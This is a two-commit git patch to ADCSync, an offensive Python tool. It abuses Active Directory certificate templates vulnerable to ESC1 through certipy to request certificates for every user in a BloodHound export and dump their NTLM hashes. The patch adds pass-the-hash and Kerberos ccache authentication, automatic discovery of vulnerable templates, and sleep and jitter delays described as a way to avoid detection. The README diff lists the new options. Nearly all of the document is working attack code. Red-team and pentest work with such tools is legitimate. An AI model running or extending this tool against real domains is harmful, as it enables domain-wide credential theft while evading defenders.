From 4afb88cf6d8f220928a2f260dbc473959a3716f0 Mon Sep 17 00:00:00 2001 From: connor Date: Wed, 12 Feb 2025 13:26:08 -0600 Subject: [PATCH 1/2] Update adcsync.py to fufill todo list ToDo Items; 1. Support alternative authentication methods such as NTLM hashes and ccache files 2. Automatically run "certipy find" to find and grab templates vulnerable to ESC1 3. Add jitter and sleep options to avoid detection 4. Add type validation for all variables --- adcsync.py | 182 +++++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 164 insertions(+), 18 deletions(-) diff --git a/adcsync.py b/adcsync.py index e5ad02a..e2e1efa 100644 --- a/adcsync.py +++ b/adcsync.py @@ -2,11 +2,13 @@ import os import shutil import subprocess +import random +import time from tqdm import tqdm from pyfiglet import Figlet import click import ipaddress -from ldap3 import Server, Connection, ALL, SIMPLE, SYNC, SUBTREE# Print stuff +from ldap3 import Server, Connection, ALL, SIMPLE, SYNC, SUBTREE # Print stuff ascii_art = Figlet(font='slant') print(ascii_art.renderText('ADCSync')) @@ -20,22 +22,35 @@ exit(1) @click.command() -@click.option('-f', '--file', help='Input User List JSON file from Bloodhound', required=True) -@click.option('-o', '--output', help='NTLM Hash Output file', required=True) -@click.option('-ca', help='Certificate Authority', required=True) -@click.option('-dc-ip', help='IP Address of Domain Controller', required=True) -@click.option('-u', '--user', help='Username', required=True) -@click.option('-p', '--password', help='Password', required=True) -@click.option('-template', help='Template Name vulnerable to ESC1', required=True) -@click.option('-target-ip', help='IP Address of the target machine', required=True) +@click.option('-f', '--file', help='Input User List JSON file from Bloodhound', required=True, type=str) +@click.option('-o', '--output', help='NTLM Hash Output file', required=True, type=str) +@click.option('-ca', help='Certificate Authority', required=True, type=str) +@click.option('-dc-ip', help='IP Address of Domain Controller', required=True, type=str) +@click.option('-u', '--user', help='Username', required=True, type=str) +@click.option('-p', '--password', help='Password', required=False, type=str) +@click.option('-H', '--hashes', help='NTLM hash in format LMHASH:NTHASH or just NTHASH', required=False, type=str) +@click.option('-k', '--kerberos', help='Flag to use Kerberos authentication with ccache file', is_flag=True, default=False) +@click.option('-ccache', help='Path to ccache file for Kerberos authentication', required=False, type=str) +@click.option('-template', help='Template Name vulnerable to ESC1. If not specified, will attempt to find one.', required=False, type=str) +@click.option('-target-ip', help='IP Address of the target machine', required=True, type=str) +@click.option('-s', '--sleep', help='Base sleep time between requests in seconds', required=False, type=float, default=0) +@click.option('-j', '--jitter', help='Jitter percentage (0-100)', required=False, type=float, default=0) +def main(file, output, ca, dc_ip, user, password, hashes, kerberos, ccache, template, target_ip, sleep, jitter): + # Validate types + validate_inputs(file, output, dc_ip, user, password, hashes, + kerberos, ccache, target_ip, sleep, jitter) -def main(file, output, ca, dc_ip, user, password, template, target_ip): - # Read the JSON data from the file - if not os.path.exists(file): - print(f"Error: File '{file}' not found.") - exit(1) + # If no template is specified, try to find vulnerable ones + if not template: + vulnerable_templates = find_vulnerable_templates( + dc_ip, user, password, hashes, kerberos, ccache + ) + if vulnerable_templates: + template = vulnerable_templates[0] + print(f"\nUsing vulnerable template: {template}") + # Read the JSON data from the file try: with open(file, 'r', encoding='utf-8') as file_obj: data = json.load(file_obj) @@ -65,14 +80,25 @@ def main(file, output, ca, dc_ip, user, password, template, target_ip): # Execute certipy req command for each name print('Grabbing user certs:') for name in tqdm(names): + if sleep > 0: + jitter_multiplier = 1 + (random.uniform(-jitter, jitter) / 100) + sleep_time = sleep * jitter_multiplier + time.sleep(sleep_time) + # Extract the part before the "@" symbol and convert it to lowercase username = name.split('@')[0].lower() domain = usernames_with_domains.get(f'{username}@{domain}') - command = [ - certipy_client, 'req', '-u', user, '-p', password, '-target-ip', target_ip, - '-dc-ip', dc_ip, '-ca', ca, '-template', template, '-upn', name - ] + command = [certipy_client, 'req', '-u', user, '-target-ip', target_ip, + '-dc-ip', dc_ip, '-ca', ca, '-template', template, '-upn', name] + + if password: + command.extend(['-p', password]) + elif hashes: + command.extend(['-hashes', hashes]) + elif kerberos: + command.extend(['-k', '-ccache', ccache]) + process = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) # Check the return code and error output of certipy @@ -123,5 +149,125 @@ def main(file, output, ca, dc_ip, user, password, template, target_ip): if os.path.exists(ccache_file): shutil.move(ccache_file, os.path.join(caches_folder, ccache_file)) +def validate_inputs(file: str, output: str, dc_ip: str, user: str, + password: str, hashes: str, kerberos: bool, ccache: str, + target_ip: str, sleep: float, jitter: float) -> None: + + # Validate Authentication Choice + auth_methods = sum(bool(x) for x in [password, hashes, (kerberos and ccache)]) + if auth_methods != 1: + print("Error: Exactly one authentication method must be provided (password, hashes, or ccache)") + exit(1) + + # NTLM Hash Validation + if hashes: + if ':' in hashes: + lm_hash, nt_hash = hashes.split(':') + if not all(len(h) == 32 and all(c in '0123456789abcdefABCDEF' for c in h) + for h in [lm_hash, nt_hash] if h): + print("Error: Invalid hash format. Expected LMHASH:NTHASH or just NTHASH") + exit(1) + else: + if not (len(hashes) == 32 and all(c in '0123456789abcdefABCDEF' for c in hashes)): + print("Error: Invalid hash format. Expected 32 character hex string") + exit(1) + + # ccache Validation + if kerberos: + if not ccache: + print("Error: ccache file path must be provided when using Kerberos authentication") + exit(1) + if not os.path.isfile(ccache): + print(f"Error: ccache file '{ccache}' does not exist") + exit(1) + + # IP Address Validation + try: + ipaddress.ip_address(dc_ip) + ipaddress.ip_address(target_ip) + except ValueError: + print("Error: Invalid IP address format for dc-ip or target-ip") + exit(1) + + # Sleep Timing Validation + if not isinstance(sleep, float) or sleep < 0: + print("Error: Sleep time must be a non-negative float value") + exit(1) + + # Jitter Validation + if not isinstance(jitter, float) or not 0 <= jitter <= 100: + print("Error: Jitter must be a float between 0 and 100 percent") + exit(1) + + # File Path Validation + if not os.path.isfile(file): + print(f"Error: Input file '{file}' does not exist") + exit(1) + + # Output File Validation + if os.path.exists(output): + if not os.access(output, os.W_OK): + print(f"Error: Output file '{output}' exists but is not writable") + exit(1) + else: + try: + with open(output, 'a') as f: + pass + except IOError: + print(f"Error: Cannot create output file '{output}'") + exit(1) + +def find_vulnerable_templates(dc_ip: str, user: str, password: str = None, + hashes: str = None, kerberos: bool = False, + ccache: str = None) -> list[str]: + + # Build command based on authentication method + command = [certipy_client, 'find', '-u', user, '-dc-ip', dc_ip, '-vulnerable'] + + if password: + command.extend(['-p', password]) + elif hashes: + command.extend(['-hashes', hashes]) + elif kerberos: + command.extend(['-k', '-ccache', ccache]) + + print("Searching for vulnerable certificate templates...") + process = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + + if process.returncode != 0: + print(f"Error running certipy find: {process.stderr}") + exit(1) + + # Parse output to find ESC1 vulnerable templates + vulnerable_templates = [] + output_lines = process.stdout.split('\n') + in_vulnerabilities_section = False + current_template = None + + for line in output_lines: + if '[!] Vulnerabilities' in line: + in_vulnerabilities_section = True + continue + elif in_vulnerabilities_section: + if line.strip().startswith('ESC1'): + if current_template: + vulnerable_templates.append(current_template) + elif 'CA Name' in line: + current_template = line.split(':')[1].strip() + elif not line.strip() or '[' in line: + current_template = None + if '[' in line: + in_vulnerabilities_section = False + + if not vulnerable_templates: + print("No templates vulnerable to ESC1 were found.\nPlease specify a template name.") + exit(1) + + print(f"Found {len(vulnerable_templates)} vulnerable template(s):") + for template in vulnerable_templates: + print(f" - {template}") + + return vulnerable_templates + if __name__ == '__main__': main() From b558b239480f82069a82d9508f4c4808269d8f9f Mon Sep 17 00:00:00 2001 From: connor Date: Wed, 12 Feb 2025 13:29:02 -0600 Subject: [PATCH 2/2] Update README.md --- README.md | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index ef50874..71e60d9 100644 --- a/README.md +++ b/README.md @@ -64,19 +64,18 @@ Options: -ca TEXT Certificate Authority [required] -dc-ip TEXT IP Address of Domain Controller [required] -u, --user TEXT Username [required] - -p, --password TEXT Password [required] - -template TEXT Template Name vulnerable to ESC1 [required] + -p, --password TEXT Password + -H, --hashes TEXT NTLM hash in format LMHASH:NTHASH or just NTHASH + -k, --kerberos Flag to use Kerberos authentication with ccache file + -ccache TEXT Path to ccache file for Kerberos authentication + -template TEXT Template Name vulnerable to ESC1. If not specified, will attempt to find one. -target-ip TEXT IP Address of the target machine [required] + -s, --sleep FLOAT Base sleep time between requests in seconds + -j, --jitter FLOAT Jitter percentage (0-100) --help Show this message and exit. -``` - -## TODO -* Support alternative authentication methods such as NTLM hashes and ccache files -* Automatically run "certipy find" to find and grab templates vulnerable to ESC1 -* Add jitter and sleep options to avoid detection -* Add type validation for all variables +``` ## Acknowledgements * [puzzlepeaches](https://github.com/puzzlepeaches): Telling me to hurry up and write this